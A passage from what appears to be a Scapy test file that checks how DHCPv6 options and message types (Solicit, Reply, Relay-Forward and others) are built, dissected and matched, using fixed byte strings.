b'\\x00(\\x00\\x00'\n\n= DHCP6OptPanaAuthAgent - Basic Dissection\na = DHCP6OptPanaAuthAgent(b\"\\x00(\\x00\\x00\")\na.optcode == 40 and a.optlen == 0 and a.paaaddr == []\n\n= DHCP6OptPanaAuthAgent - Instantiation with specific values (1 address)\nraw(DHCP6OptPanaAuthAgent(paaaddr=[\"2001:db8::1\"])) == b'\\x00(\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptPanaAuthAgent - Dissection with specific values (1 address)\na = DHCP6OptPanaAuthAgent(b'\\x00(\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 40 and a.optlen == 16 and len(a.paaaddr) == 1 and a.paaaddr[0] == \"2001:db8::1\"\n\n= DHCP6OptPanaAuthAgent - Instantiation with specific values (2 addresses)\nraw(DHCP6OptPanaAuthAgent(paaaddr=[\"2001:db8::1\", \"2001:db8::2\"])) == b'\\x00(\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= DHCP6OptPanaAuthAgent - Dissection with specific values (2 addresses)\na = DHCP6OptPanaAuthAgent(b'\\x00(\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.optcode == 40 and a.optlen == 32 and len(a.paaaddr) == 2 and a.paaaddr[0] == \"2001:db8::1\" and a.paaaddr[1] == \"2001:db8::2\"\n\n\n############\n############\n+ Test DHCP6 Option - New POSIX Time Zone\n\n= DHCP6OptNewPOSIXTimeZone - Basic Instantiation\nraw(DHCP6OptNewPOSIXTimeZone()) == b'\\x00)\\x00\\x00'\n\n= DHCP6OptNewPOSIXTimeZone - Basic Dissection\na = DHCP6OptNewPOSIXTimeZone(b'\\x00)\\x00\\x00')\na.optcode == 41 and a.optlen == 0 and a.optdata == b\"\"\n\n= DHCP6OptNewPOSIXTimeZone - Instantiation with specific values\nraw(DHCP6OptNewPOSIXTimeZone(optdata=\"EST5EDT4,M3.2.0/02:00,M11.1.0/02:00\")) == b'\\x00)\\x00#EST5EDT4,M3.2.0/02:00,M11.1.0/02:00'\n\n= DHCP6OptNewPOSIXTimeZone - Dissection with specific values\na = DHCP6OptNewPOSIXTimeZone(b'\\x00)\\x00#EST5EDT4,M3.2.0/02:00,M11.1.0/02:00')\na.optcode == 41 and a.optlen == 35 and a.optdata == b\"EST5EDT4,M3.2.0/02:00,M11.1.0/02:00\"\n\n\n############\n############\n+ Test DHCP6 Option - New TZDB Time Zone\n\n= DHCP6OptNewTZDBTimeZone - Basic Instantiation\nraw(DHCP6OptNewTZDBTimeZone()) == b'\\x00*\\x00\\x00'\n\n= DHCP6OptNewTZDBTimeZone - Basic Dissection\na = DHCP6OptNewTZDBTimeZone(b'\\x00*\\x00\\x00')\na.optcode == 42 and a.optlen == 0 and a.optdata == b\"\"\n\n= DHCP6OptNewTZDBTimeZone - Instantiation with specific values\nraw(DHCP6OptNewTZDBTimeZone(optdata=\"Europe/Zurich\")) == b'\\x00*\\x00\\rEurope/Zurich'\n\n= DHCP6OptNewTZDBTimeZone - Dissection with specific values\na = DHCP6OptNewTZDBTimeZone(b'\\x00*\\x00\\rEurope/Zurich')\na.optcode == 42 and a.optlen == 13 and a.optdata == b\"Europe/Zurich\"\n\n\n############\n############\n+ Test DHCP6 Option Relay Agent Echo Request Option\n\n= DHCP6OptRelayAgentERO - Basic Instantiation\nraw(DHCP6OptRelayAgentERO()) ==  b'\\x00+\\x00\\x04\\x00\\x17\\x00\\x18'\n\n= DHCP6OptRelayAgentERO - optlen field computation\nraw(DHCP6OptRelayAgentERO(reqopts=[1,2,3,4])) == b'\\x00+\\x00\\x08\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04'\n\n= DHCP6OptRelayAgentERO - instantiation with empty list\nraw(DHCP6OptRelayAgentERO(reqopts=[])) == b'\\x00+\\x00\\x00'\n\n= DHCP6OptRelayAgentERO - Basic dissection\na=DHCP6OptRelayAgentERO(b'\\x00+\\x00\\x00')\na.optcode == 43 and a.optlen == 0 and a.reqopts == []\n\n= DHCP6OptRelayAgentERO - Dissection with specific value\na=DHCP6OptRelayAgentERO(b'\\x00+\\x00\\x08\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04')\na.optcode == 43 and a.optlen == 8 and a.reqopts == [1,2,3,4]\n\n\n############\n############\n+ Test DHCP6 Option LQ Client Link\n\n= DHCP6OptLQClientLink - Basic Instantiation\nraw(DHCP6OptLQClientLink()) ==  b'\\x000\\x00\\x00'\n\n= DHCP6OptLQClientLink - Basic Dissection\na = DHCP6OptLQClientLink(b\"\\x000\\x00\\x00\")\na.optcode == 48 and a.optlen == 0 and a.linkaddress == []\n\n= DHCP6OptLQClientLink - Instantiation with specific values (1 address)\nraw(DHCP6OptLQClientLink(linkaddress=[\"2001:db8::1\"])) == b'\\x000\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\n\n= DHCP6OptLQClientLink - Dissection with specific values (1 address)\na = DHCP6OptLQClientLink(b'\\x000\\x00\\x10 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01')\na.optcode == 48 and a.optlen == 16 and len(a.linkaddress) == 1 and a.linkaddress[0] == \"2001:db8::1\"\n\n= DHCP6OptLQClientLink - Instantiation with specific values (2 addresses)\nraw(DHCP6OptLQClientLink(linkaddress=[\"2001:db8::1\", \"2001:db8::2\"])) == b'\\x000\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02'\n\n= DHCP6OptLQClientLink - Dissection with specific values (2 addresses)\na = DHCP6OptLQClientLink(b'\\x000\\x00  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02')\na.optcode == 48 and a.optlen == 32 and len(a.linkaddress) == 2 and a.linkaddress[0] == \"2001:db8::1\" and a.linkaddress[1] == \"2001:db8::2\"\n\n\n############\n############\n+ Test DHCP6 Option - NTP Server\n\n= DHCP6NTPSubOptSrvAddr - Basic dissection/instantiation\nb = b'\\x00\\x01' + b'\\x00\\x10' + b'\\x00' * 16\nassert raw(DHCP6NTPSubOptSrvAddr()) == b\n\np = DHCP6NTPSubOptSrvAddr(b)\nassert p.optcode == 1 and p.optlen == 16 and p.addr == '::'\n\n= DHCP6NTPSubOptSrvAddr - Dissection/instantiation with specific values\nb = b'\\x00\\x01' + b'\\x00\\x10' + b'\\x20\\x01\\x0d\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nassert raw(DHCP6NTPSubOptSrvAddr(addr='2001:db8::1')) == b\n\np = DHCP6NTPSubOptSrvAddr(b)\nassert p.optcode == 1 and p.optlen == 16 and p.addr == '2001:db8::1'\n\n= DHCP6NTPSubOptMCAddr - Basic dissection/instantiation\nb = b'\\x00\\x02' + b'\\x00\\x10' + b'\\x00' * 16\nassert raw(DHCP6NTPSubOptMCAddr()) == b\n\np = DHCP6NTPSubOptMCAddr(b)\nassert p.optcode == 2 and p.optlen == 16 and p.addr == '::'\n\n= DHCP6NTPSubOptMCAddr - Dissection/instantiation with specific values\nb = b'\\x00\\x02' + b'\\x00\\x10' + b'\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01'\nassert raw(DHCP6NTPSubOptMCAddr(addr='ff02::101')) == b\n\np = DHCP6NTPSubOptMCAddr(b)\nassert p.optcode == 2 and p.optlen == 16 and p.addr == 'ff02::101'\n\n= DHCP6NTPSubOptSrvFQDN - Basic dissection/instantiation\nb = b'\\x00\\x03' + b'\\x00\\x01' + b'\\x00'\nassert raw(DHCP6NTPSubOptSrvFQDN()) == b\n\np = DHCP6NTPSubOptSrvFQDN(b)\nassert p.optcode == 3 and p.optlen == 1 and p.fqdn == b'.'\n\n= DHCP6NTPSubOptSrvFQDN - Dissection/instantiation with specific values\nb = b'\\x00\\x03' + b'\\x00\\x0d' + b'\\x07example\\x03com\\x00'\nassert raw(DHCP6NTPSubOptSrvFQDN(fqdn='example.com')) == b\n\np = DHCP6NTPSubOptSrvFQDN(b)\nassert p.optcode == 3 and p.optlen == 13 and p.fqdn == b'example.com.'\n\n= DHCP6OptNTPServer - Basic dissection/instantiation\nb = b'\\x00\\x38' + b'\\x00\\x00'\nassert raw(DHCP6OptNTPServer()) == b\n\np = DHCP6OptNTPServer(b)\nassert p.optcode == 56 and p.optlen == 0 and p.ntpserver == []\n\n= DHCP6OptNTPServer - Dissection/instantiation with specific values\nsrv_addr = b'\\x00\\x01' + b'\\x00\\x10' + b'\\x20\\x01\\x0d\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nmc_addr = b'\\x00\\x02' + b'\\x00\\x10' + b'\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01'\nsrv_fqdn = b'\\x00\\x03' + b'\\x00\\x0d' + b'\\x07example\\x03com\\x00'\nb = b'\\x00\\x38' + b'\\x00\\x39' + srv_addr + mc_addr + srv_fqdn\n\np = DHCP6OptNTPServer(\n    ntpserver=[DHCP6NTPSubOptSrvAddr(addr='2001:db8::1'),\n               DHCP6NTPSubOptMCAddr(addr='ff02::101'),\n               DHCP6NTPSubOptSrvFQDN(fqdn='example.com'),\n               ]\n)\nassert raw(p) == b\n\np = DHCP6OptNTPServer(b)\nassert p.optcode == 56 and p.optlen == 57 and len(p.ntpserver) == 3\nassert p.ntpserver[0] == DHCP6NTPSubOptSrvAddr(srv_addr)\nassert p.ntpserver[1] == DHCP6NTPSubOptMCAddr(mc_addr)\nassert p.ntpserver[2] == DHCP6NTPSubOptSrvFQDN(srv_fqdn)\n\n\n############\n############\n+ Test DHCP6 Option - Boot File URL\n\n= DHCP6OptBootFileUrl - Basic Instantiation\nraw(DHCP6OptBootFileUrl()) == b'\\x00;\\x00\\x00'\n\n= DHCP6OptBootFileUrl - Basic Dissection\na = DHCP6OptBootFileUrl(b'\\x00;\\x00\\x00')\na.optcode == 59 and a.optlen == 0 and a.optdata == b\"\"\n\n= DHCP6OptBootFileUrl - Instantiation with specific values\nraw(DHCP6OptBootFileUrl(optdata=\"http://wp.pl/file\")) == b'\\x00;\\x00\\x11http://wp.pl/file'\n\n= DHCP6OptBootFileUrl - Dissection with specific values\na = DHCP6OptBootFileUrl(b'\\x00;\\x00\\x11http://wp.pl/file')\na.optcode == 59 and a.optlen == 17 and a.optdata == b\"http://wp.pl/file\"\n\n\n############\n############\n+ Test DHCP6 Option - Client Arch Type\n\n= DHCP6OptClientArchType - Basic Instantiation\nraw(DHCP6OptClientArchType())\nraw(DHCP6OptClientArchType()) == b'\\x00=\\x00\\x00'\n\n= DHCP6OptClientArchType - Basic Dissection\na = DHCP6OptClientArchType(b'\\x00=\\x00\\x00')\na.optcode == 61 and a.optlen == 0 and a.archtypes == []\n\n= DHCP6OptClientArchType - Instantiation with specific value as just int\nraw(DHCP6OptClientArchType(archtypes=7)) == b'\\x00=\\x00\\x02\\x00\\x07'\n\n= DHCP6OptClientArchType - Instantiation with specific value as single item list of int\nraw(DHCP6OptClientArchType(archtypes=[7])) == b'\\x00=\\x00\\x02\\x00\\x07'\n\n= DHCP6OptClientArchType - Dissection with specific 1 value list\na = DHCP6OptClientArchType(b'\\x00=\\x00\\x02\\x00\\x07')\na.optcode == 61 and a.optlen == 2 and a.archtypes == [7]\n\n= DHCP6OptClientArchType - Instantiation with specific value as 2 item list of int\nraw(DHCP6OptClientArchType(archtypes=[7, 9])) == b'\\x00=\\x00\\x04\\x00\\x07\\x00\\x09'\n\n= DHCP6OptClientArchType - Dissection with specific 2 values list\na = DHCP6OptClientArchType(b'\\x00=\\x00\\x04\\x00\\x07\\x00\\x09')\na.optcode == 61 and a.optlen == 4 and a.archtypes == [7, 9]\n\n\n############\n############\n+ Test DHCP6 Option - Client Network Inter Id\n\n= DHCP6OptClientNetworkInterId - Basic Instantiation\nraw(DHCP6OptClientNetworkInterId())\nraw(DHCP6OptClientNetworkInterId()) == b'\\x00>\\x00\\x03\\x00\\x00\\x00'\n\n= DHCP6OptClientNetworkInterId - Basic Dissection\na = DHCP6OptClientNetworkInterId(b'\\x00>\\x00\\x03\\x00\\x00\\x00')\na.optcode == 62 and a.optlen == 3 and a.iitype == 0 and a.iimajor == 0 and a.iiminor == 0\n\n= DHCP6OptClientNetworkInterId - Instantiation with specific values\nraw(DHCP6OptClientNetworkInterId(iitype=1, iimajor=2, iiminor=3)) == b'\\x00>\\x00\\x03\\x01\\x02\\x03'\n\n= DHCP6OptClientNetworkInterId - Dissection with specific values\na = DHCP6OptClientNetworkInterId(b'\\x00>\\x00\\x03\\x01\\x02\\x03')\na.optcode == 62 and a.optlen == 3 and a.iitype == 1 and a.iimajor == 2 and a.iiminor == 3\n\n\n############\n############\n+ Test DHCP6 Option - ERP Domain\n\n= DHCP6OptERPDomain - Basic Instantiation\nraw(DHCP6OptERPDomain()) == b'\\x00A\\x00\\x00'\n\n= DHCP6OptERPDomain - Basic Dissection\na = DHCP6OptERPDomain(b'\\x00A\\x00\\x00')\na.optcode == 65 and a.optlen == 0 and a.erpdomain == []\n\n= DHCP6OptERPDomain - Instantiation with specific values (1 domain)\nraw(DHCP6OptERPDomain(erpdomain=[\"toto.example.com.\"])) == b'\\x00A\\x00\\x12\\x04toto\\x07example\\x03com\\x00'\n\n= DHCP6OptERPDomain - Dissection with specific values (1 domain)\na = DHCP6OptERPDomain(b'\\x00A\\x00\\x12\\x04toto\\x07example\\x03com\\x00')\na.optcode == 65 and a.optlen == 18 and len(a.erpdomain) == 1 and a.erpdomain[0] == \"toto.example.com.\"\n\n= DHCP6OptERPDomain - Instantiation with specific values (2 domains)\nraw(DHCP6OptERPDomain(erpdomain=[\"toto.example.com.\", \"titi.example.com.\"])) == b'\\x00A\\x00$\\x04toto\\x07example\\x03com\\x00\\x04titi\\x07example\\x03com\\x00'\n\n= DHCP6OptERPDomain - Dissection with specific values (2 domains)\na = DHCP6OptERPDomain(b'\\x00A\\x00$\\x04toto\\x07example\\x03com\\x00\\x04titi\\x07example\\x03com\\x00')\na.optcode == 65 and a.optlen == 36 and len(a.erpdomain) == 2 and a.erpdomain[0] == \"toto.example.com.\" and a.erpdomain[1] == \"titi.example.com.\"\n\n\n############\n############\n+ Test DHCP6 Option - Relay Supplied Option\n\n= DHCP6OptRelaySuppliedOpt - Basic Instantiation\nraw(DHCP6OptRelaySuppliedOpt()) == b'\\x00B\\x00\\x00'\n\n= DHCP6OptRelaySuppliedOpt - Basic Dissection\na = DHCP6OptRelaySuppliedOpt(b'\\x00B\\x00\\x00')\na.optcode == 66 and a.optlen == 0 and a.relaysupplied == []\n\n= DHCP6OptRelaySuppliedOpt - Instantiation with specific values\nraw(DHCP6OptRelaySuppliedOpt(relaysupplied=DHCP6OptERPDomain(erpdomain=[\"toto.example.com.\"]))) == b'\\x00B\\x00\\x16\\x00A\\x00\\x12\\x04toto\\x07example\\x03com\\x00'\n\n= DHCP6OptRelaySuppliedOpt - Dissection with specific values\na = DHCP6OptRelaySuppliedOpt(b'\\x00B\\x00\\x16\\x00A\\x00\\x12\\x04toto\\x07example\\x03com\\x00')\na.optcode == 66 and a.optlen == 22 and len(a.relaysupplied) == 1 and isinstance(a.relaysupplied[0], DHCP6OptERPDomain) and a.relaysupplied[0].erpdomain[0] == \"toto.example.com.\"\n\n= DHCP6OptRelaySuppliedOpt - deeply nested DHCP6OptRelaySuppliedOpt\n# https://github.com/secdev/scapy/issues/3894\n\np = DHCP6(b'\\x01\\x00\\x00\\x00' + b'\\x00B\\x0f\\x0f' * 100)\nassert p.getlayer(DHCP6OptRelaySuppliedOpt, 100)\n\n############\n############\n+ Test DHCP6 Option Client Link Layer address\n\n= Basic build & dissect\ns = raw(DHCP6OptClientLinkLayerAddr())\nassert s == b\"\\x00O\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\"\n\np = DHCP6OptClientLinkLayerAddr(s)\nassert p.clladdr == \"00:00:00:00:00:00\"\n\nr = b\"\\x00O\\x00\\x08\\x00\\x01\\x00\\x01\\x02\\x03\\x04\\x05\"\np = DHCP6OptClientLinkLayerAddr(r)\nassert p.clladdr == \"00:01:02:03:04:05\"\n\n############\n############\n+ Test DHCP6 Option Captive-Portal\n\n= Basic build & dissect\ns = raw(DHCP6OptCaptivePortal())\nassert s == b\"\\x00\\x67\\x00\\x00\"\n\np = DHCP6OptCaptivePortal(s)\nassert p.optcode == 103\nassert p.optlen == 0\nassert p.URI == b\"\"\n\np = DHCP6OptCaptivePortal(b\"\\x00\\x67\\x00\\x13https://example.org\")\nassert p.optcode == 103\nassert p.optlen == 19\nassert p.URI == b\"https://example.org\"\n\n############\n############\n+ Test DHCP6 Option MUD URL\n\n= Basic build & dissect\ns = raw(DHCP6OptMudUrl())\nassert s == b\"\\x00p\\x00\\x00\"\n\np = DHCP6OptMudUrl(s)\nassert p.mudstring == b\"\"\n\nr = b'\\x00p\\x00\\x13https://example.org'\np = DHCP6OptMudUrl(r)\nassert p.mudstring == b\"https://example.org\"\nassert p.optlen == 19\n\n\n############\n############\n+ Test DHCP6 Option Virtual Subnet Selection\n\n= Basic build & dissect\ns = raw(DHCP6OptVSS())\nassert s == b\"\\x00D\\x00\\x01\\xff\"\n\np = DHCP6OptVSS(s)\nassert p.type == 255\n\n\n############\n############\n+ Test DHCP6 Option - Address Registration Enabled\n\n= DHCP6OptAddrRegEnable - Basic Instantiation\nraw(DHCP6OptAddrRegEnable()) == b'\\x00\\x94\\x00\\x00'\n\n= DHCP6OptAddrRegEnable - Basic Dissection\na=DHCP6OptAddrRegEnable(b'\\x00\\x94\\x00\\x00')\na.optcode == 148 and a.optlen == 0\n\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Solicit\n\n= DHCP6_Solicit - Basic Instantiation\nraw(DHCP6_Solicit()) == b'\\x01\\x00\\x00\\x00'\n\n= DHCP6_Solicit - Basic Dissection\na = DHCP6_Solicit(b'\\x01\\x00\\x00\\x00')\na.msgtype == 1 and a.trid == 0\n\n= DHCP6_Solicit - Basic test of DHCP6_solicit.hashret() \nDHCP6_Solicit().hashret() == b'\\x00\\x00\\x00'\n\n= DHCP6_Solicit - Test of DHCP6_solicit.hashret() with specific values\nDHCP6_Solicit(trid=0xbbccdd).hashret() == b'\\xbb\\xcc\\xdd'\n\n= DHCP6_Solicit - UDP ports overload\na=UDP()/DHCP6_Solicit()\na.sport == 546 and a.dport == 547\n\n= DHCP6_Solicit - Dispatch based on UDP port \na=UDP(raw(UDP()/DHCP6_Solicit()))\nisinstance(a.payload, DHCP6_Solicit)\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Advertise\n\n= DHCP6_Advertise - Basic Instantiation\nraw(DHCP6_Advertise()) == b'\\x02\\x00\\x00\\x00'\n\n= DHCP6_Advertise - Basic test of DHCP6_solicit.hashret() \nDHCP6_Advertise().hashret() == b'\\x00\\x00\\x00'\n\n= DHCP6_Advertise - Test of DHCP6_Advertise.hashret() with specific values\nDHCP6_Advertise(trid=0xbbccdd).hashret() == b'\\xbb\\xcc\\xdd'\n\n= DHCP6_Advertise - Basic test of answers() with solicit message\na = DHCP6_Solicit()\nb = DHCP6_Advertise()\na > b\n\n= DHCP6_Advertise - Test of answers() with solicit message\na = DHCP6_Solicit(trid=0xbbccdd)\nb = DHCP6_Advertise(trid=0xbbccdd)\na > b\n\n= DHCP6_Advertise - UDP ports overload\na=UDP()/DHCP6_Advertise()\na.sport == 547 and a.dport == 546\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Request\n\n= DHCP6_Request - Basic Instantiation\nraw(DHCP6_Request()) == b'\\x03\\x00\\x00\\x00'\n\n= DHCP6_Request - Basic Dissection\na=DHCP6_Request(b'\\x03\\x00\\x00\\x00')\na.msgtype == 3 and a.trid == 0 \n\n= DHCP6_Request - UDP ports overload\na=UDP()/DHCP6_Request()\na.sport == 546 and a.dport == 547\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Confirm\n\n= DHCP6_Confirm - Basic Instantiation\nraw(DHCP6_Confirm()) == b'\\x04\\x00\\x00\\x00'\n\n= DHCP6_Confirm - Basic Dissection\na=DHCP6_Confirm(b'\\x04\\x00\\x00\\x00')\na.msgtype == 4 and a.trid == 0\n\n= DHCP6_Confirm - UDP ports overload\na=UDP()/DHCP6_Confirm()\na.sport == 546 and a.dport == 547\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Renew\n\n= DHCP6_Renew - Basic Instantiation\nraw(DHCP6_Renew()) == b'\\x05\\x00\\x00\\x00'\n\n= DHCP6_Renew - Basic Dissection\na=DHCP6_Renew(b'\\x05\\x00\\x00\\x00')\na.msgtype == 5 and a.trid == 0\n\n= DHCP6_Renew - UDP ports overload\na=UDP()/DHCP6_Renew()\na.sport == 546 and a.dport == 547\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Rebind\n\n= DHCP6_Rebind - Basic Instantiation\nraw(DHCP6_Rebind()) == b'\\x06\\x00\\x00\\x00'\n\n= DHCP6_Rebind - Basic Dissection\na=DHCP6_Rebind(b'\\x06\\x00\\x00\\x00')\na.msgtype == 6 and a.trid == 0\n\n= DHCP6_Rebind - UDP ports overload\na=UDP()/DHCP6_Rebind()\na.sport == 546 and a.dport == 547\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Reply\n\n= DHCP6_Reply - Basic Instantiation\nraw(DHCP6_Reply()) == b'\\x07\\x00\\x00\\x00'\n\n= DHCP6_Reply - Basic Dissection\na=DHCP6_Reply(b'\\x07\\x00\\x00\\x00')\na.msgtype == 7 and a.trid == 0\n\n= DHCP6_Reply - UDP ports overload\na=UDP()/DHCP6_Reply()\na.sport == 547 and a.dport == 546\n\n= DHCP6_Reply - Answers\n\nassert not DHCP6_Reply(trid=0).answers(DHCP6_Request(trid=1))\nassert DHCP6_Reply(trid=1).answers(DHCP6_Request(trid=1))\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Release\n\n= DHCP6_Release - Basic Instantiation\nraw(DHCP6_Release()) == b'\\x08\\x00\\x00\\x00'\n\n= DHCP6_Release - Basic Dissection\na=DHCP6_Release(b'\\x08\\x00\\x00\\x00')\na.msgtype == 8 and a.trid == 0\n\n= DHCP6_Release - UDP ports overload\na=UDP()/DHCP6_Release()\na.sport == 546 and a.dport == 547\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Decline\n\n= DHCP6_Decline - Basic Instantiation\nraw(DHCP6_Decline()) == b'\\x09\\x00\\x00\\x00'\n\n= DHCP6_Confirm - Basic Dissection\na=DHCP6_Confirm(b'\\x09\\x00\\x00\\x00')\na.msgtype == 9 and a.trid == 0\n\n= DHCP6_Decline - UDP ports overload\na=UDP()/DHCP6_Decline()\na.sport == 546 and a.dport == 547\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_Reconf\n\n= DHCP6_Reconf - Basic Instantiation\nraw(DHCP6_Reconf()) == b'\\x0A\\x00\\x00\\x00'\n\n= DHCP6_Reconf - Basic Dissection\na=DHCP6_Reconf(b'\\x0A\\x00\\x00\\x00')\na.msgtype == 10 and a.trid == 0\n\n= DHCP6_Reconf - UDP ports overload\na=UDP()/DHCP6_Reconf()\na.sport == 547 and a.dport == 546\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_InfoRequest\n\n= DHCP6_InfoRequest - Basic Instantiation\nraw(DHCP6_InfoRequest()) == b'\\x0B\\x00\\x00\\x00'\n\n= DHCP6_InfoRequest - Basic Dissection\na=DHCP6_InfoRequest(b'\\x0B\\x00\\x00\\x00')\na.msgtype == 11 and a.trid == 0\n\n= DHCP6_InfoRequest - UDP ports overload\na=UDP()/DHCP6_InfoRequest()\na.sport == 546 and a.dport == 547\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_RelayForward\n\n= DHCP6_RelayForward - Basic Instantiation\nraw(DHCP6_RelayForward()) == b'\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6_RelayForward - Basic Dissection\na=DHCP6_RelayForward(b'\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.msgtype == 12 and a.hopcount == 0 and a.linkaddr == \"::\" and a.peeraddr == \"::\"\n\n= DHCP6_RelayForward - Dissection with options\na = DHCP6_RelayForward(b'\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x04\\x03\\x01\\x00\\x00')\na.msgtype == 12 and DHCP6OptRelayMsg in a and isinstance(a.message, DHCP6_Request)\n\n= DHCP6_RelayForward - Advanced dissection\ns = b'`\\x00\\x00\\x00\\x002\\x11@\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x02#\\x02#\\x002\\xf0\\xaf\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x04\\x01\\x00\\x00\\x00'\np = IPv6(s)\nassert DHCP6OptRelayMsg in p and isinstance(p.message, DHCP6_Solicit)\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6OptRelayMsg\n\n= DHCP6OptRelayMsg - Basic Instantiation\nraw(DHCP6OptRelayMsg(optcode=37)) == b'\\x00%\\x00\\x04\\x00\\x00\\x00\\x00'\n\n= DHCP6OptRelayMsg - Basic Dissection\na = DHCP6OptRelayMsg(b'\\x00\\r\\x00\\x00')\na.optcode == 13 and a.optlen == 0 and a.message is None\n\n= DHCP6OptRelayMsg - Embedded DHCP6 packet Instantiation\nraw(DHCP6OptRelayMsg(message=DHCP6_Solicit())) == b'\\x00\\t\\x00\\x04\\x01\\x00\\x00\\x00'\n\n= DHCP6OptRelayMsg - Embedded DHCP6 packet Dissection\np = DHCP6OptRelayMsg(b'\\x00\\t\\x00\\x04\\x01\\x00\\x00\\x00')\nisinstance(p.message, DHCP6_Solicit)\n\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_RelayReply\n\n= DHCP6_RelayReply - Basic Instantiation\nraw(DHCP6_RelayReply()) == b'\\r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= DHCP6_RelayReply - Basic Dissection\na=DHCP6_RelayReply(b'\\r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\na.msgtype == 13 and a.hopcount == 0 and a.linkaddr == \"::\" and a.peeraddr == \"::\"\n\n############\n############\n+ Test DHCP6 Messages - DHCP6_AddrRegInform\n\n= DHCP6_AddrRegInform - Basic Instantiation\nraw(DHCP6_AddrRegInform()) == b'\\x24\\x00\\x00\\x00'\n\n= DHCP6_AddrRegInform - Basic Dissection\na = DHCP6_AddrRegInform(b'\\x24\\x00\\x00\\x00')\na.msgtype == 36 and a.trid == 0\n\n= DHCP6_AddrRegInform - Basic test of DHCP6_addrreginform.hashret()\nDHCP6_AddrRegInform().hashret() == b'\\x00\\x00\\x00'\n\n= DHCP6_AddrRegInform - Test of DHCP6_addrreginform.hashret() with specific values\nDHCP6_AddrRegInform(trid=0xbbccdd).hashret() == b'\\xbb\\xcc\\xdd'\n\n= DHCP6_AddrRegInform - UDP ports overload\na=UDP()/DHCP6_AddrRegInform()\na.sport == 546 and a.dport == 547\n\n= DHCP6_AddrRegInform - Dispatch based on UDP port\na=UDP(raw(UDP()/DHCP6_AddrRegInform()))\nisinstance(a.payload, 